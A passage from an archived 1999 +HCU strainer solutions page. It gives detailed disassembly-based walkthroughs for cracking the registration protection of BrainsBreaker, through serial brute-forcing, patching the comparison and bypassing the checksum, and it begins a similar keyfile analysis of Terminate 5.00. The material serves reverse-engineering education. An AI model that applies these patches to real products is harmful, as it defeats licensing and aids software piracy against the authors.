:0044B9B7 FEC54400 DWORD 0044C5FE
Ah - great! At offset 44B964, based on the value in eax, a jump is taken. So in order to execute our interesting call, eax should
hold a value of 4 (4h*4h = 10h. 44B96Bh+10h = 44B97Bh and that's the offset where the interesting jump address is stored).
Now we need to know where anything gets saved in eax, so trace upwards through the dead-listing and you'll find that offset
0044B8A2 is the one we're searching for.

:0044B8A2 8B4607 mov eax, dword ptr [esi+07]


:0044B8A5 3D50040000 cmp eax, 00000450
:0044B8AA 0F8F99000000 jg 0044B949
:0044B8B0 0F849A0E0000 je 0044C750

http://www.instinct.org/fravia/99solu/cruecom.htm (12 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

...
:0044B949 3D68040000 cmp eax, 00000468
:0044B94E 7F6B jg 0044B9BB
:0044B950 0F84EB080000 je 0044C241
:0044B956 05AEFBFFFF add eax, FFFFFBAE ;Same as "sub eax,452"
:0044B95B 83F813 cmp eax, 00000013
:0044B95E 0F875C0F0000 ja 0044C8C0
:0044B964 FF24856BB94400 jmp dword ptr [4*eax+0044B96B]
There, now it's pretty easy to figure out what value we need to execute our "enter registation information" call. First of all it
has to be over 450h, becuase we want to take the jump at offset 44B8AA. It must be lower than 468h because we DONT want
to take the jump at offset 44B94E or at 44B950. Substract 452 from our value, and if the result is below or equal to 13h
execute the jump at 44B964. We already know that we want eax to be 4 when the jump is beeing executed so therefor we want
eax to be 452+4=456h at offset 44B8A2 in order to bring up the registraion window. To see if this theory is correct, lets test it
in practice! Boot up the game, and put a breakpoint on cs:44B8A2 (make sure that brainsbreaker has control when you set the
breakpoint, otherwise CS wont point to brainsbreakers code). Now choose a menu item, and softice will break due to our
breakpoint. You will see that a value is moved into eax (the value depends on what menu-item we choosed). Step over the
instruction and edit the eax register using the r command. Change to value to 456 instaed and let it run...YES! The "enter
registraion information" windows pops up!
Step 2 - What pack do we want?
Ok, we got four edit fields that we must fill in, where the first one is "Pack:". Remember what the help file said? There are two
different registraion "packs", one called Entry pack and another one called Full pack so we can easily guess that we shall enter
either "full pack", "full" or something. To find out if we are right, let's enter "full pack" in the first field, and just some bogus
info in the other fields. Now we go on as we normally do when cracking a name/serial protection, set a breakpoint on a string
fetching function (GetDlgItemTextA, GetWindowTextA, hmemcpy or whatever, you know them :)) or try the breakpoint on
windows message (bmsg) way...do whatever you want, just as long as you break in, I choosed to break on the windows
message wm_gettext.
You all problaby know how to proceed from now on. Find our entered string (Full pack), and put a breakpoing on memory
range (bpr) on it and then feel the code. You'll see ALOT of "repnz scasb" function (used alot for length checking if al=0), and
a few "repz movsb functions. Just step through them, and put a new bpr everytime the string is copied. Remove an old
breakpoint only when you see that it's overwritten with something else.
If you're having trouble telling the interesting code from the uninteresting I'll give you the offset where the interesting part
begins, it's at offset 4012BD:

:004012BD 0FBE06 movsx eax, byte ptr [esi]


:004012C0 50 push eax
:004012C1 E8EE560000 call 004069B4
:004012C6 59 pop ecx
:004012C7 8BD8 mov ebx, eax
:004012C9 50 push eax
:004012CA 0FBE17 movsx edx, byte ptr [edi]
We start out by moving the first letter in our entered string into eax (in our case it's 46h, 'F'). What the next few lines do is that
it copies that value into other registers (not really interesting), but the last instruction is very interesting. It takes a byte from
what edi is pointing to and moves it into edx. I wonder what edi points to, dont you? Let's find out! "d edi" in softice, and now
look in the datawindow. "Entry Full Upgrade..." and so on. Weee! We now know (ok, not exactly know, but it's a VERY good
guess) that we shall enter "Full" in the first edit field, because we do want the fully registered copy, dont we?
Step 3 - Examining the protection scheme Time for the real pain, the real protection scheme. So, start out by entering
something in the edit fields, I entered "Full", "Cruehead", "111", "1230123". Now we do like we did last time, but this time
we're only interested in when the program is doing anything with our entered serial, so we choose to breakpoing on that string
(1230123 in my case). Same story as before, a lot of length checking and string copying...I know it's pretty boring, but just
hang in there. After some time you'll get to offset 401440. This is where its finally gets somewhat first interesting. What the
program does is that it compares all characters in the serial with "-", but as our serial doesnt have a "-", we continue without
any change. After some more uninteresting length checkings we get to the same offset again, but this time the program
compares every character in our serial with "0". If it finds a match, the zero is removed and instead an O is put there. Our new

http://www.instinct.org/fravia/99solu/cruecom.htm (13 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

code will be "123O123". We find ourself at this offset once again after some more time in softice. This time the program
checks if any of the characters in the serial is '1'. If they are, replace them with a "L" instead. Our new code will be
"L23OL23". After this, each of our characters in the serial will be compared to (in order and in hex): 00,3B,0D and 0A. We
dont have to care about this because these bytes wont be found in our serial.
Geez, so much debuging and yet nothing really interesting, but fear not - we are getting there. After a while we'll land at offset
46AC55 and here is where the fun part begins.

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:0046ACB3(C)
|
:0046AC4C FF35BC554800 push dword ptr [004855BC]
:0046AC52 8B45E8 mov eax, dword ptr [ebp-18]
:0046AC55 0FBE10 movsx edx, byte ptr [eax] <-- We'll land here
:0046AC58 52 push edx
:0046AC59 E856BDF9FF call 004069B4
:0046AC5E 59 pop ecx
:0046AC5F 50 push eax
:0046AC60 E8BDBAFAFF call 00416722
:0046AC65 8845EF mov byte ptr [ebp-11], al
:0046AC68 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:0046ACA5(C)
|
:0046AC6A 8BC8 mov ecx, eax
:0046AC6C BA01000000 mov edx, 00000001
:0046AC71 D3E2 shl edx, cl
:0046AC73 33C9 xor ecx, ecx
:0046AC75 8A4DEF mov cl, byte ptr [ebp-11]
:0046AC78 23D1 and edx, ecx
:0046AC7A 740E je 0046AC8A
:0046AC7C 8BCB mov ecx, ebx
:0046AC7E B201 mov dl, 01
:0046AC80 D2E2 shl dl, cl
:0046AC82 8B4DF6 mov ecx, dword ptr [ebp-0A]
:0046AC85 081431 or byte ptr [ecx+esi], dl
:0046AC88 EB0E jmp 0046AC98

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:0046AC7A(C)
|
:0046AC8A 8BCB mov ecx, ebx
:0046AC8C B201 mov dl, 01
:0046AC8E D2E2 shl dl, cl
:0046AC90 F6D2 not dl
:0046AC92 8B4DF6 mov ecx, dword ptr [ebp-0A]
:0046AC95 201431 and byte ptr [ecx+esi], dl

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:0046AC88(U)
|
:0046AC98 43 inc ebx
:0046AC99 83FB08 cmp ebx, 00000008
:0046AC9C 7503 jne 0046ACA1
:0046AC9E 46 inc esi

http://www.instinct.org/fravia/99solu/cruecom.htm (14 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

:0046AC9F 33DB xor ebx, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:0046AC9C(C)
|
:0046ACA1 40 inc eax
:0046ACA2 83F805 cmp eax, 00000005
:0046ACA5 7CC3 jl 0046AC6A
:0046ACA7 FF45F0 inc [ebp-10]
:0046ACAA FF45E8 inc [ebp-18]
:0046ACAD 8B45F0 mov eax, dword ptr [ebp-10]
:0046ACB0 3B45FC cmp eax, dword ptr [ebp-04]
:0046ACB3 7C97 jl 0046AC4C
Whoah, quite some code there! But dont worry, we really dont have to understand it (as you will see later), we just need to
know where the output is stored. The code here isnt very hard to understand either, but we'll deal with it later. To save some
time, I'll tell you now that output will be created at offset 46AC85 and 46AC95. You will see that after the loop, a few bytes
(how many depends on the length of the serial entered) have been generated from our serial and saved at the address that
ecx+esi points to at offset 46AC85. You can now remove all breakpoints and put one (breakpoint on memory range - bpr) on
our nely created bytes (in our case it will be 5 of them). Just to make sure you got the correct spot, the bytes for "L23OL23" is
4B,6F,B7,F4,06. As you will see this string will be copied around a bit, but just follow the same procedure as last time (same
procedure as every year, james). After a little while you'll land in the next interesting spot:

:00459B50 8BC1 mov eax, ecx


:00459B52 99 cdq
:00459B53 F7FB idiv ebx
:00459B55 8B45E4 mov eax, dword ptr [ebp-1C]
:00459B58 03C2 add eax, edx
:00459B5A 8A16 mov dl, byte ptr [esi] <-- You'll be here
:00459B5C 3010 xor byte ptr [eax], dl
:00459B5E 41 inc ecx
:00459B5F 46 inc esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00459B4E(U)
|
:00459B60 8B45FC mov eax, dword ptr [ebp-04]
:00459B63 2BC3 sub eax, ebx
:00459B65 3BC8 cmp ecx, eax
:00459B67 7CE7 jl 00459B50
Not that hard to understand. One byte will be XOR'd with each of our new bytes, and a few others as well (these are constants).
This final byte will have a value of 0E in our case. You should always be very suspicious when you see an instruction that uses
XOR. The only exception is when it's followed by two registers of the same kind, because then (as you all problaby already
know) it just sets the register to zero. Now after this loop we'll get to the first check. If you start stepping through the code
you'll soon see that the byte which were XOR'd with our "registraion bytes" will be compared to zero. If it matches, go on,
otherwise it's a fake code. Finally we're getting somewhere! We now know that after quite a lot of different manipulations of
our serial (remember that we had two different manipulations, the first created a couple of bytes based on our serial, and the
other XOR'ed them together along with a few other constant bytes) we shall have a final value of zero! Remember this as we'll
use it later, but for now, just change the program so it continues, preferable by changing the final byte from 0E to 00 (you
should always try to patch as little as possible, atleast while investigating a protection scheme). One can almost guess that
somewhere nearby there will be another (or more) checks, and therefor we start stepping through the next piece of code. This
is pretty hard, you have to feel where something interesting happends, but I'll tell you that at offset 459d01 something is
happening:

:00459D01 3B4DEC cmp ecx, dword ptr [ebp-14]

http://www.instinct.org/fravia/99solu/cruecom.htm (15 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

:00459D04 7D4F jge 00459D55

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00459D53(C)
|
:00459D06 8BC1 mov eax, ecx
:00459D08 99 cdq
:00459D09 F7FF idiv edi
:00459D0B 8B45E0 mov eax, dword ptr [ebp-20]
:00459D0E 8A1C10 mov bl, byte ptr [eax+edx]
:00459D11 0FB745F0 movzx eax, word ptr [ebp-10]
:00459D15 3BC8 cmp ecx, eax
:00459D17 7D09 jge 00459D22
:00459D19 0FB7D1 movzx edx, cx
:00459D1C 8B45F4 mov eax, dword ptr [ebp-0C]
:00459D1F 321C10 xor bl, byte ptr [eax+edx]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00459D17(C)
|
:00459D22 0FB7560C movzx edx, word ptr [esi+0C]
:00459D26 3BCA cmp ecx, edx
:00459D28 7D09 jge 00459D33
:00459D2A 0FB7C1 movzx eax, cx
:00459D2D 8B5610 mov edx, dword ptr [esi+10]
:00459D30 321C02 xor bl, byte ptr [edx+eax]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00459D28(C)
|
:00459D33 0FB74614 movzx eax, word ptr [esi+14]
:00459D37 3BC8 cmp ecx, eax
:00459D39 7D09 jge 00459D44
:00459D3B 0FB7D1 movzx edx, cx
:00459D3E 8B4618 mov eax, dword ptr [esi+18]
:00459D41 321C10 xor bl, byte ptr [eax+edx]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00459D39(C)
|
:00459D44 8BC1 mov eax, ecx
:00459D46 99 cdq
:00459D47 F7FF idiv edi
:00459D49 8B45E0 mov eax, dword ptr [ebp-20]
:00459D4C 881C10 mov byte ptr [eax+edx], bl
:00459D4F 41 inc ecx
:00459D50 3B4DEC cmp ecx, dword ptr [ebp-14]
:00459D53 7CB1 jl 00459D06
A pretty easy to understand protection here. Take the first char in the "pack" field, xor it with the first char in the "Username"
field and finally xor this with the first char in the "ID" field. Save this byte and then proceed with the second character, the
third and so on. I suppose a table will describe it better:
Pack string: 46 75 6C 6C
Username String: 43 72 75 65 68 65
ID string: 31 32 33

http://www.instinct.org/fravia/99solu/cruecom.htm (16 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

Result after XOR: 34 35 2A 09 68 65

"Hey! You only got 6 characters in the table, but the strings can be longer (and one of them in fact is)!" Calm down, That's
because something is happening after 6 bytes has been processed. Now the first byte in our "result string" (34 in our case) will
also be included the scheme. So, 34 will be xor'ed to every 7'th char in the other strings, and in our case the "username" string
will be the only one effected, as the others are too small. The result is written in the first position in the "result string", thus
removing the old value. After 6 more bytes, it does the same again , thus keeping the size of the result string to 6 bytes. When
20h (=32 dec) characters has been processed the routine is done.
Something has to be happening with these 6 bytes (why write that routine otherwise), so lets put a bpr on them. You will break
in a string comparing routine. So...this string is compared to another string! Very interesting indeed... I wonder what happends
if they matches??? let's see! Change one of the strings so it matches the other and let the program run...
YEEEEES! Program registered!
So, now all we have to do is to make the strings match...just one BIG problem...One would have thought that the string that our
"pack, username, ID" string was compared with should be constant...but this is not true! It changes everytime, so there is not a
chance to make these strings match eachother! First I thought this was some anti-cracking feature, but that is not true either. I
changed the program so it would display a little messagebox with the first bytes of the string, and I ran it without softice (for
the first time in months, softice wasnt loaded on my machine :)). No luck, it still changed! One alternative still
remains...patching!
Step 4 - Cracking it! First of all I'd like to say that I dont really like patches because one never knows what comes with a
patch. It could be a nasty checksum, or even worse - a delayed checksum. That's why I always like to find/calculate a valid
serial when cracking name/serial protections, but when you're out of ideas, I guess patching can be justified. But even if we are
going to patch, let's patch as little as we have too. We dont have to patch the first check (remember? one byte is compared to
zero...) as we can pretty easily find a serial that justifies that. As most crackers are lazy by nature (well, atleast I am :)), lets just
write a quick and dirty bruteforcer. You can find my source and the executable for it here. Run it, and we'll get the serial
125000. If our bruteforcer does what it's suppose to do we would now get by the first check by using this seriall, so let's test it!
Go back to the register window, and enter the same information as before, but change the serial to 125000. Wow! It worked!
Of course we didnt get the "thanks for registering" message, but we didnt expect that either, because the last check is still
there. For reasons that I told you about earlier we have to patch that (or spend the next couple of weeks trying to figure out a
way how to crack it without patching, but as I said - we're all lazy).
Of course the next question will be Where shall we patch? Before we can answer that we have to make sure we understand
what we want to do. In this case we want two strings to match eachother (or atleast making the program think they do). If we
investigate the comparision routine we see that the routine compares the number of bytes specified in edi. In our case edi=6
and therefor 6 bytes are compared. If we look at the code right after the comparison routine we will also see that dl is set to 1 if
the strings matches. If they dont dl is set to zero. Now we can make a small list of possible patches:

1) Action: Set edi to zero so that zero bytes will be compared.


Consequence: The strings wont be compared.
2) Action: Overwrite the two strings with the same 6 bytes.
Consequence: The strings will match.
3) Action: Fake the return value so dl will be set to one either way.
Consequence: The program thinks that the strings matches.
4) Action: Fake a conditional jump
Consequence: The program thinks that the strings matches.
There are even more possibilites but these are more than enough. We can choose any of these and the program would, in
theory, think our entered serial is valid. Let's try for example to set edi to zero. First of all lets find where the program sets edi
to 6:

:00459C43 8B7508 mov esi, dword ptr [ebp+08]


:00459C46 807E2400 cmp byte ptr [esi+24], 00
:00459C4A 7415 je 00459C61
:00459C4C BF06000000 mov edi, 00000006

http://www.instinct.org/fravia/99solu/cruecom.htm (17 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

Can we change this into "mov edi,0" instead? Yes we can but the program would crash later due to a couple of "IDIV"
instructions that relies on edi not beeing zero. So where can we change edi to zero then? Look at this:

:00459CFF 33C9 xor ecx, ecx


:00459D01 3B4DEC cmp ecx, dword ptr [ebp-14]
:00459D04 7D4F jge 00459D55
...
This is the begining of the code that creates the 6 bytes long string from our entered Name, ID and Pack. This code is
completely useless if we change edi to zero (because zero bytes will be compared) so we can saftly patch here. Let's change the
code so it looks like this instead:

:00459CFF 33FF xor edi,edi ;set edi to zero


:00459D01 EB52 jmp 00459D55;Jump over the rest
;of the function
Oh yeah! This works very nicely! Patch it using your favourite hex-editor and run it.
Integrity check:
Program seems to be altered from his original contents
Of course...a checksum function as well. How can we crack this then?
In fact, the author has already done half the work for us. Notice how the message is presented - through a messagebox! Very
good news for us crackers, we just have to put a bpx on MessageBoxA now in order to land right in the interesting code. So, do
just that and trace upward and you'll see this:

:00442CC2 E870DBFFFF call 00440837


:00442CC7 3D22334455 cmp eax, 55443322 ;Whoah! What a nice hardcoded
value!
:00442CCC 7472 je 00442D40 ;Take this jump if you want
to jump
;over the messagebox!
:00442CCE 6810200100 push 00012010
:00442CD3 FF35843B4800 push dword ptr [00483B84]
:00442CD9 83C4FC add esp, FFFFFFFC
:00442CDC 66C70424BE00 mov word ptr [esp], 00BE
:00442CE2 E8C16FFFFF call 00439CA8
:00442CE7 50 push eax
:00442CE8 6A00 push 00000000
:00442CEA E80AEF0300 call USER32!MessageBoxA
You can see directly that something is fuzzy about the "cmp eax, 55443322" line. That looks VERY suspicious if you ask me
(why not say "Hey Cracker! I'm here!!!" instead). Now we could quickly crack this just by changing the "je 00442D40"
instruction to "jmp 00442D40" but we wont do that. The program might save the value returned in eax and use it later on for
more checksum-checking (this is infact true for this program) so instead we want the above call to return 55443322. So, let's
trace the call! You'll soon find this piece of code:

:00440DAE E8B504FCFF call 00401268


:00440DB3 83C40C add esp, 0000000C
:00440DB6 85C0 test eax, eax
:00440DB8 752E jne 00440DE8
:00440DBA A1803B4800 mov eax, dword ptr [00483B80]
:00440DBF 8B10 mov edx, dword ptr [eax]
:00440DC1 8B0D243B4800 mov ecx, dword ptr [00483B24]
:00440DC7 8911 mov dword ptr [ecx], edx
:00440DC9 B822334455 mov eax, 55443322 ;We want this!

http://www.instinct.org/fravia/99solu/cruecom.htm (18 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

:00440DCE 50 push eax


Now, this isnt very hard either. As the program is already patched the call at line 440DAE will return eax<>0 and thus the
jump will be taken. Btw that call is our good old "comparision" call. As you see it's used quite a lot in the program so it was a
good idea not to patch there! Now just nop away the jump. 55443322 will be stored in eax and the checksum routine thinks
that everything is alright and we have a fully functional registered copy of BrainsBreaker!
Step 5 - Making a nice crack!
You can skip this part if you want to. This step is not really necessary, but if we were to release a crack for this program we
had to make a nice looking patcher. The problem is that we dont know how to bring up the "enter registraion info" window,
and thus the user wouldnt have anywhere to enter his name. We can solve this by making our own little "registraion window"
that asks for a username in our patcher. If you look where BrainsBreaker saves the registraion information you will see that all
of the reg-info is saved in the "BBRK.INI" file. It will save both plaintext and encrypted values. It will look something like
this:

[PackFull] ;What pack we're using


0=Cruehead ;Username plain text
1=123 ;ID plain text
2=7E15AB3D1516D6 ;Serial encrypted
3=2100 ;Not sure. I believe it's version number
4=192BEC6D323CF86C ;Username encrypted
5=6B6BAA ;ID encrypted
Of course I didnt know all of this before I fully examined the program. I started out by putting a breakpoint on
GetPrivateProfileStringA and when the encrypted serial line was read I put a bpr on that so I would see what was happening to
that string. I wont describe every step on how I did it because it's fairly easy. Instead I'll try to describe how it works:
Every two letters in '7E15AB3D1516D6' is in fact one byte. So first of all the string is transformed so it looks like this : 7E 15
AB 3D 15 16 D6 . 7 bytes that is. Now this string is Xor'ed against a four byte long string that was "5A 59 99 08". This string
caught my curiosity because it didnt look like a hardcoded value and neither could I find it in the .EXE file but I continued
nevertheless, not worring aout it. The strings was xor'ed like this:
String from INI file: 7E 15 AB 3D 15 16 D6
Four byte string: 5A 59 99 08 5A 59 99
Result after XOR: 24 4C 32 35 4F 4F 4F

You see? The result is '$L25OOO'. Our entered serial string (somewhat transformed). The same procedure is done with the two
other encrypted strings. If the decrypted username matches the username in plain text and if the decrypted ID matches the ID
in plain text, then the program executes the registration check with the decrypted serial. The program will gladly accept it
because we have patched the last check!
Ok, I sat down one night and coded this crack. It worked great on my computer but when I tried it on another computer it
simply didnt work! Back to the drawing board again. It turned out that I was right when thinking that the 4 bytes xor string was
strange. After some more examination I found out that this value was created from a special ID which is stored in the registry.
The ID is created the first time brainsbreaker is installed and there is'nt much point in reversing the algorigthm for creating a
BrainsBreaker ID becuase it uses the "TlsGetValue" function as source. The complete ID is about 50 bytes long but only 8 of
these bytes are used to create the xor string (if you're really interested byte number 5,10,8,13,17,19,22,38 of the ID is used to
make the xorstring). That's why my crack didnt work on the other machine - when I installed BrainsBreaker for the first time a
different ID was created and thus also a different xorstring. So I sat down another night and re-coded the crack, this time for
windows as we need to access the registry. This time the crack worked like a sharm on both machines! Oh joy oh joy!
Thoughts about BrainsBreaker
This is not important for the crack, but it's never the less very interesting. I'm not sure about this but it looks like every puzzle
is a stand-alone part of the program. Every puzzle stores a number of things including the name of the author of the puzzle, if
the main program has been altered, wether this puzzle is free/demo/registered and a number of other things. My guess is that
these values (or flags) are stored directly after the mainprogram checks if it's registered or not. This way every puzzle can
check if the main program has been cracked. But we dont have to care about all of this because the crack I presented above
takes care of everything :). None of these flags are stored directly in the .exe file, instead they are stored in encrypted state. At

http://www.instinct.org/fravia/99solu/cruecom.htm (19 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

startup these puzzles are decrypted using different keysources but the most common seems to be "(c)J. Trujillo T." I managed
to get this info by stumbeling across a "xor [edi],al" function when the program was loading the startup screen with all the
puzzles. That of course cought my interest and I started to examine it a bit more closer.
A small hint : It's a good idea to search the deadlisting for "MessageBoxA" functions as these can give you alot of usefull
information sometimes. Fake a flag or something to make the program show the messagebox. For example I found out that
every puzzle stores if the main program has been altered or not (if it has, a value of 12345 is stored in each of the puzzles)
using this method.
But there are some things that remains a mystery for me still. I havnt been able to figure out how to bring up the
registration-window yet and you can find a few very interesting functions if you look at the dead-listing:
Addr:00487ABC Ord: 14 (000Eh) Name: __DebuggerHookData
Addr:004035BC Ord: 15 (000Fh) Name: __lockDebuggerData(void)
Addr:004035E4 Ord: 16 (0010h) Name: __unlockDebuggerData(void)
Antidebugging functions problaby but I havnt seen any marks of them. Pretty strange...
Conclusion - BrainsBreaker:
A somewhat complicated protection scheme, but nothing that we havnt seen before. The hidden registraion window is a good
idea but it's far to easy to find it using a dead-listing approach.

* Chapter 4 : The Sparkle program


Tools used: Softice, TASM 5.0, Win32 API reference guide
Output: Sparkle source and executable

A little different challenge to end the strainer. Graphical reversing? Nothing I have done before but hey - let's give a try! First
of all I started by looking at the effect (wonder if anyone thought of that before me?). So, I played a puzzle (on my newly
cracked copy of BrainsBreaker) and when I connected two pieces to eachother I got a nice little sparkle effect. Ok, now we
know what we're dealing with...The main part of it is some sort of ellipse, wouldnt you say? Looking through the Win32 API
reference guide we'll try to find what function is used to draw an ellipse...and voila - we found one!

Ellipse:

The Ellipse function draws an ellipse. The center of


the ellipse is the center of the specified bounding
rectangle. The ellipse is outlined by using the
current pen and is filled by using the current brush.
Nice enough! So, in softice, set a breakpoint on Ellipse (bpx ellpise) and connect two other pieces together. Boom and we're in
softice again. F12 once to give control back to the real program. Now I pressed F4 (the rs command that is) to see if anything
had happened to the screen (like an ellipse has been drawn perhaps?) but nothing...strange...well, I continued to "p ret" my way
and everytime checking if anything had been drawn to the screen. And after a while, something had been drawn! A small
cross! Hey, great...we're going somewhere with all of this...I started tracing, but pretty soon I got to another "ret" function. And
now I had landed in a quite interesting piece of code...take a look at this:

0042EACF lea ecx, dword ptr [ebp+FFFFFE84]


0042EAD5 push ecx
0042EAD6 call 0042EEB0
0042EADB test eax, eax <--- we are here!
0042EADD jne 0042EACF
So, that call to 42EEB0 drawed that little cross...if eax is zero then go on, otherwise we'll execute the call once again. Can you
feel it? Something tells me that we have pinpointed a part of the interesting code! Start stepping through the loop, and every
time you get to the call, step over it, and directly after that have a look if anything has been happening on the screen. You can
see it now? We have indeed landed in an interesting piece of the code...that call on offset 42EAD6 draws the sparkle, bit by bit.

http://www.instinct.org/fravia/99solu/cruecom.htm (20 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

The rest is pretty straight forward...Trace the call and for all interesting functions write down all the parameters for each
drawing function. This is exactly what I did, and I found out that there were three interesting drawing functions:

Ellipse
MoveToEx
LineTo

As I said, I wrote down every singel parameter to these functions and than I simply made my own little program that used the
same functions and parameters. And so, the fourth part was done! Look at the source code to see my comments on the code.
I think they will help you out more than anything I write here.
Oh, I'd like to take this opportunity to excuse my bad spaghetti-coding style...I know it's quite messy, but you should be able to
understand it if you read my comments.

The end (my only friend)


So, we have finally reached the end...If you read this non-stop I suppose everything is just a big blur right now, but if you take
some time to relax and fetch something to drink (take a look on +Fravias Coctail session if you're out of ideas) most of it will
soon make sence...hopefully atleast :)
Greetings go out to
+Aesculapius (for giving me some real bad headaches trying to crack this strainer)
+Fravia (for his superb website)
+ORC (for learning me how to crack through his great tutorials)
All the members of MiB (http://www.messinginbytes.home.ml.org)
and all the guys in #Cracking4newbies
This is Cruehead, signing off...

http://www.instinct.org/fravia/99solu/cruecom.htm (21 of 21) [2/7/2001 2:57:41 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

Solution for Part I of +HCU Strainer 99.


Solved by iNT_03h.
TARGET: Terminate 5.00 terminat.exe - 1,475,650 bytes long. Where to get target: www.terminate.com TOOLS: SoftIce 3.22
for W95, IDA PRO 3.75 Full, Turbo Pascal 6.0, Asm Edit 1.82a, Borland C++ 4.5. SOLUTION: First, English is not my
motherlanguage, so please excuse my mistakes... I've spent a lot of time cracking Terminate. So now, when I write this solution
I can't remember all steps and details. I've used SoftIce for understand how key file should looks like and IDA for comment all
I found. Also without IDA it would be almost impossible (at least for me) crack target, because IDA 3.75 gave names for
library subs, it was great help for understanding those math subs, like Real2Long, etc, coz without knowing sub name it was
almost imposible to understand what this sub does. Also I had to learn some Pascal (I didn't know it before) in order to
understand what the hell is going on in key validating sub (I even rewrote it in pascal , it was great help to understand that
almost all of those floating point operations were fakes :)) Ok, I won't write step by step how I crack target, just say, that I
began with bpint 21 if ah==3d in SoftIce, then I saw that handle for keyfile is always =6 so I begun to use bpint 21 if bx==6... I
begin my solution in back order, i.e. first I explain protection scheme and after that I'll explain what kind of keyfile T wants.
Very important info stored at offset 1614FEh-1615F9h in terminat.exe. First seven bytes 06, ad, 5d, 47, 17, 20, 77 used by T to
determine is it already registered or not. Or, if be more exact, only last byte is really usefull for us: 77 means registered, BD -
unregistered. 161505h-1615D0h - contains randomly encrypted reginfo, i.e. name, city, address, country (if we are already
registered). 1615D1h-1615D9h - CRC of reginfo, converted to ASCII form(first byte = length of ASCII string)
1615DAh-1615E2h - 32 bit value, xored and converted to ASCII form, used as mask for decrypt reginfo (first byte = length of
ASCII string) 1615E3h-1615E6h - 4 bytes 01,x,01,y. Where x,y are bytes set by key validating sub. These bytes depends of
some values from keyfile. I'll explain this later. 1615E7h-1615EEh - only if we are already registered this offset contains ASCII
form some date, 1/08/98. (first byte = length of ASCII string) 1615F1h-1615F9h - only if we are already registered this offset
contains 32 bit value, xored and converted to ASCII form, this value taken from offsets 152h, 154h of block 4 of key file. I'll
explain this later. (first byte = length of ASCII string) Protection scheme in two words: T reads seven bytes from offset
1614FEh of terminat.exe, and if last of seven bytes = 77, it "thinks" that its registered and set byte_192f_12d8 to BB (by default
it = 8B). This is core of protection, because in all further checks T refers to that byte_192f_12d8 ( I named it
"_pro_or_not_byte") and check it for 8B (unregistered) or BB (registered). Full explantation: Everything begin from 1000:0099
(I use IDA PRO 3.75 for create dead listing) from CALL SUB_B_FCC -> call far ptr sub_813_1797 -> call sub_2A8_115 ->
call sub_29C_43 -> call sub_7A91_1EE4 ->call sub_298_20( I named it "Check_reginfo"). Last sub decides if BB already
registered by reading 1614FEh-1615F9h from terminat.exe and compare first 7 bytes from 1614FEh-1615F9h with 06, ad, 5d,
47, 17, 20, 77. If last byte doesnt =77 sub_77A8_3FD( I named it "Validate_key") called to read and validate keyfile (if it exist
in terminate directory). So: 87A8:2309 Check_reginfo proc far ; CODE XREF: j_Check_reginfo .... vars .... args 87A8:2309
87A8:2309 push bp 87A8:230A mov bp, sp 87A8:230C sub sp, 544h 87A8:2310 cmp byte_192F_50, 0 ; we always have 0
here 87A8:2315 jz loc_77A8_231A ; jump 87A8:2317 jmp loc_77A8_280D 87A8:231A ;

87A8:231A 87A8:231A loc_77A8_231A: ; CODE XREF: Check_reginfo+C 87A8:231A mov di, offset unk_192F_5798
87A8:231D push ds 87A8:231E push di 87A8:231F lea di, [bp+var_240] 87A8:2323 push ss 87A8:2324
push di 87A8:2325 lea di, [bp+var_140] 87A8:2329 push ss 87A8:232A push di 87A8:232B mov di, offset aEu ; offset of
encrypted string 87A8:232E push cs 87A8:232F push di 87A8:2330 call @$basg$qm6Stringt1 ; Load string
87A8:2335 mov ax, 0B3ACh 87A8:2338 xor dx, dx 87A8:233A push dx 87A8:233B push ax 87A8:233C mov ax,
25D1h 87A8:233F mov dx, 0BABEh 87A8:2342 push dx 87A8:2343 push ax 87A8:2344 call
decrypt_string_and_verify_it 87A8:2349 call @$bsub$qm6Stringt1 ; compare two magic strings 87A8:234E jz
loc_77A8_2353 06, ad, 5d, 47, 17, 20, 77 87A8:2350 jmp loc_77A8_2801 this is common code sequence in Terminate it used
for decrypt strings, those paranoid developers encrypted all protection related strings. call decrypt_string_and_verify_it was
originally call sub_10F1_1A72. So, after decrypting T compares those strings and if byte sequence from terminat.exe = 06, ad,
5d, 47, 17, 20, 77 ,i.e. if Term registered , then we go here: 87A8:2353 ;
87A8:2353
87A8:2353 loc_77A8_2353: ; CODE XREF: Check_reginfo+45 j 87A8:2353 mov [bp+var_AX_MAGIC], 0FFFFh ; some
kind of "seed" 87A8:2359 mov [bp+var_DX_MAGIC], 0FFFFh ; for calc CRC 87A8:235F xor ax, ax 87A8:2361 mov
some_counter_for_CRC_calc_word, ax 87A8:2364 jmp short loc_77A8_236A 87A8:2366 ;
87A8:2366
87A8:2366 loc_77A8_2366: ; CODE XREF: Check_reginfo+180 j 87A8:2366 inc some_counter_for_CRC_calc_word?
87A8:236A 87A8:236A loc_77A8_236A: ; CODE XREF: Check_reginfo+5B j 87A8:236A mov di,
some_counter_for_CRC_calc_word? 87A8:236E mov al, [di+57A0h] 87A8:2372 push ax 87A8:2373 push
